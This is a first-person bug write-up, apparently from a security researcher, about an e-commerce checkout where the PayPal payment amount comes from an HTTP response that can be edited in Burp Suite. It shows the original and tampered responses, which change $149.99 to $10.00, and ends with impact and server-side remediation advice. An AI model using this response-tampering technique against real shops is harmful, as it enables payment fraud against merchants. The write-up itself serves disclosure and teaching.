🐞 Bug Story: The $10 Heist – A Business Logic Flaw in Plain Sight
I was casually poking around a well-known e-commerce platform's payment system. Nothing out of the ordinary—until it was.
Business logic flaws aren't common these days. But this time, while reviewing the PayPal integration, I discovered a gem.
💥 The Setup
On the checkout page, I chose PayPal as the payment option. That action triggered a POST request. Burp Suite was ready, and I intercepted the traffic. Here's what I saw:
🔐 Sample POST Request
POST REQUEST
POST /api/payment/initiate HTTP/1.1 Host: example-shop.com Content-Type: application/json Cookie: session=abc123; { "payment_id": "PAYPAL", "email": "buyer@example.com" }
The server responded with a 200 OK, along with a JSON object that included something interesting—the actual amount of the transaction:
📦 Sample Response (Original)
POST RESPONSE
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8
<div class="PaypalBtnBox" id="paypal_place_order">
<button class="btn themeBtn" id="check_button" onclick="confirmProductQuantity()" target="_blank">Place order</button>
</div>
<script
id="paypal_lightbox_script"
src="https://test.example.com/v1/lightbox.min.js"
data-account="example"
data-amount="149.99"
data-button="#pay_with_paypal"
data-callback="callback_after_payment_action"
data-mode="payment"
data-displayConfirmation="false"
data-billingEmail="example@example.com"
data-billingZip="15136"
Here comes the logic flaw. The amount field was coming directly from the response, and I could modify it client-side before the redirection occurred.
So, I edited the response right in Burp Repeater, changing the amount:
📦 Tampered Response
json
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8
<div class="PaypalBtnBox" id="paypal_place_order">
<button class="btn themeBtn" id="check_button" onclick="confirmProductQuantity()" target="_blank">Place order</button>
</div>
<script
id="paypal_lightbox_script"
src="https://test.example.com/v1/lightbox.min.js"
data-account="example"
data-amount="10.00"
data-button="#pay_with_paypal"
data-callback="callback_after_payment_action"
data-mode="payment"
data-displayConfirmation="false"
data-billingEmail="example@example.com"
data-billingZip="15136"
I let the response flow. Then clicked the PayPal button.
💥 BOOM! — The PayPal popup showed $10.00, not the original $149.99.
🧠 Impact
No server-side verification of the amount.
Business logic depended on client-controlled data.
Anyone could buy anything at any price.
🔒 Remediation
Always verify price and payment amount server-side before generating any payment URLs.
Do not rely on client-side scripts or response rewriting for critical transaction values.